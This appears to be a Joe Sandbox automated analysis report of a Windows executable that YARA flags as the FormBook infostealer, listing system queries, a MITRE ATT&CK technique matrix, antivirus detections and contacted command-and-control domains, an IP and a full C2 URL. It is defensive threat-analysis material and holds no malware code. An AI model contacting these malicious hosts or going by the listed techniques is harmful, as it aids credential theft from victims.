Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.7TupDHKAwm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.7TupDHKAwm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.7TupDHKAwm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.7TupDHKAwm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.7TupDHKAwm.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Rootkit1	Credential API Hooking1	Security Software Discovery221	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Masquerading1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion31	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection612	LSA Secrets	System Information Discovery112	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information4	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing13	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	File Deletion1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
7TupDHKAwm.exe	19%	Virustotal		Browse
7TupDHKAwm.exe	14%	ReversingLabs	ByteCode-MSIL.Backdoor.Remcos

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.7TupDHKAwm.exe.400000.4.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.2.7TupDHKAwm.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.0.7TupDHKAwm.exe.400000.8.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.0.7TupDHKAwm.exe.400000.6.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.comicet	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.collada.org/2005/11/COLLADASchema9Done	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.fontbureau.comgrita	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.amazonretoure.net/s18y/?oVJ4Hplp=C+VjjyIyz5JhIAiSdyGuho+nJXOtpZEvhjPesU35WHH5HFWifcx9eas6lvx4xbPC6vhC&TlZlo=3fdTDXLHN2n	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
www.agentpathleurre.space/s18y/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.amazonretoure.net	46.38.243.234	true	true		unknown
www.lenovoidc.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.amazonretoure.net/s18y/?oVJ4Hplp=C+VjjyIyz5JhIAiSdyGuho+nJXOtpZEvhjPesU35WHH5HFWifcx9eas6lvx4xbPC6vhC&TlZlo=3fdTDXLHN2n	true	Avira URL Cloud: safe	unknown
www.agentpathleurre.space/s18y/	true	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	7TupDHKAwm.exe, 00000000.00000002.685710945.0000000000B17000.00000004.00000040.sdmp	false		high
http://www.fontbureau.com/designersG	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false		high
http://www.fontbureau.comicet	7TupDHKAwm.exe, 00000000.00000002.685710945.0000000000B17000.00000004.00000040.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.coma	7TupDHKAwm.exe, 00000000.00000002.685710945.0000000000B17000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
http://www.collada.org/2005/11/COLLADASchema9Done	7TupDHKAwm.exe, 00000000.00000002.690187917.0000000006EA0000.00000004.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comgrita	7TupDHKAwm.exe, 00000000.00000002.685710945.0000000000B17000.00000004.00000040.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false		high
http://www.fonts.com	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	7TupDHKAwm.exe, 00000000.00000002.688304063.00000000065C2000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
46.38.243.234	www.amazonretoure.net	Germany		197540	NETCUP-ASnetcupGmbHDE	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	512165
Start date:	30.10.2021
Start time:	09:04:25
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	7TupDHKAwm.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
